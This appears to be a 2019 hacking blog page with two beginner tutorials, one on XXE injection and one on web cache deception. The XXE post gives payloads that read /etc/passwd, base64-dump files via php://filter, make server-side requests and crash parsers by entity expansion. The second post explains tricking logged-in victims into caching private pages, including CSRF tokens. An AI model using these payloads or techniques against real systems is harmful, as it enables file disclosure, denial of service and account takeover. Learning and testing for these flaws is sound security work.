Thursday, 17 January 2019

The Basic's of XXE - XML External Entity attack.

One of the prime goal in web hacking is to get a backdoor and own the target. XXE will help you to achieve this. But before discussing about XXE Injection you must know basics of XML. and yeah memes are here to eradicate boredom.

According to google, XML is a metalanguage which allows user to define their own customized markup languages, especially in order to display documents on the internet.

some features of XML are 
  • It simplifies data transport and sharing
  • it simplifies platform change
  • it increases data availability

well, XML is boring but...

What is DTD? 
DTD stands for Document Type Defination and it defines the structure and legal elements and the attributes of an XML document.

DTD is used to verify that XML data is valid or not. DTD can be either declared externally or internally.

Internal Declaration of DTD
Inside the XML file DTD is wrapped in <!DOCTYPE> definition. Here is an example from w3schools:

NOTE : In a raw XML file you can view DTD by view-source feature.

let's Break Down this code snippet.

  • <!DOCTYPE note Defines that the root element of this document is note
  • !ELEMENT note Defines that the element note contains four other elements "to, from, heading, body"
  • <!ELEMENT to, from, heading, body (#PCDATA)> Defines the element to be of type #PCDATA.

External Declaration of DTD
If DTD is declared in an External file then the <!DOCTYPE> Definition must contain the URI to the DTD file.

Here is another code snippet from w3schools

and here is the external file which contains the DTD

#PCDATA is parsed character data

What are DTD Entities?
Entities are used to define shortcut to special characters.

for Declaration types and more information please consider reading this -

Now that's a lot of XML. Let's now get back to the maim topic XXE Injection.

Who is affected with XXE?
well, lots of apps use xml, configuration files use xml, many protocols rely on xml and some use it without even knowing it.

What can we Exploit with XXE?
Well, we can exploit XXE in various places including
  • Local File Inclusion
<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>

  • Access Controll Bypass
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=">]>
  • SSRF

<?xml version="1.0"?>
<!DOCTYPE foo [  
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "">]><foo>&xxe;</foo>

  • Denial of Service

    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ELEMENT lolz (#PCDATA)>
    <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
     How to Exploit XXE?
    Here is a short 2 minute video demonstrating how to exploit XXE using Burp Suite.

    How to mitigate XXE?
    The best and the easiest way to mitigate from XXE is to disable XXE by default and a lot of parsers actually do it.

    and here we end our tutorial. Thankyou so much for reading guys, below are the links for further reading check them for sure.



    Wednesday, 16 January 2019

    A Noob's Guide to Web Cache Deception.

    Users are often the weakest link when we are exploring for a vulnerability and of-course they can be easily tricked. Today in this tutorial we are going to discuss about a simple but severe bug known as Web Cache Deception. So let's begin

    As the name says it all "Web Cache Deception" - something related to cache and the action of deceiving someone. Web cache deception is deceiving a victim using weakness in caching mechanisms. So, how it works? Well as a rough definition this is how it works : A caching mechanism / load balancer / web application firewall is setup so that if a page is requested then it creates a cached copy of that page and when the next time, the same page is requested, then the page will be loaded from the mechanism and not from the server. An attacker creates a malicious link ( we will talk about this further ) and the victim clicks on it. Resulting in getting sensitive data cached and the attacker can also request that page with sensitive data from the caching mechanism. Now let's break it down and understand each and everything step by step

    Caching is simply storing files on a computing system. This is usully done when a file is requested frequently and to reduce load from the server.
    Note : static files i.e. with extensions like .css, .txt, .img, .png, .js e.t.c are cached more often because these files doesn't contain any sensitive information.

    Caching Mechanism

    Malicious Link
    Now let us assume that there is a web application "hackmonk.tld" and there's a caching mechanism to cache all static public files. And let us also assume that the web application has user account feature and every user, after authentication can access their dashboard via "hackmonk.tld/home"
    Now what an attacker will do is modify the url to make it like "hackmonk.tld/home/non-existing-file.css" where "non-exisiting-file.css" is a non existant name with .css extension. This will be the Malicious link. But hey, won't this give a 404 not found status code? That's where we confirm that vulnerability may exist. If this url leads to hackmonk.tld/home then we can go for further testing. So now the attacker will send the url "hackmonk.tld/home/non-existing-file.css" to the victim and will make him anyhow click on the link and load it on a browser on which he is logged in on the site "hackmonk.tld". Now the victim will get to the dashboard and the caching mechanism thinking that the url "hackmonk.tld/home/non-existing-file.css" belongs to a public static file will cache the page along with the cached page of victim's dashboard and the attacker wil request the same page and it will load from the caching mechanism instead of server. BOOM private information is in your hands. Sometimes you will also be able to get CSRF Tokens which will lead to full ACCOUNT TAKEOVER. Isn't it cool?

    Here is an image that demonstrate's the whole attack scenario - 

    Now let's discuss it further with some questions.

    Won't it ask for authentication when accessing the cached page?
    No, it won't. Websites don't require authentication to access public static files.

    What are the conditions for this attack to work?
    Well, there should be either a caching mechanism / load balancer / WAF like akamai or cloudfront which is ofcourse not configured properly and when requesting page liks "hackmonk.tld/home/non-existing-file.css" it should give the content of "home" for the URL.

    Final Words
    So here we end this tutorial and i hope it explains each and everything about Web Cache Deception. Please comment down if i missed anything or if i wrote something incorrect.

    Resources and Tools 
    Here are some resources for further reading on the topic "Web Cache Deception"
    And here is a payload list for faster testing 

    Thankyou for reading guys. I will meet you next time with more informational content. BYE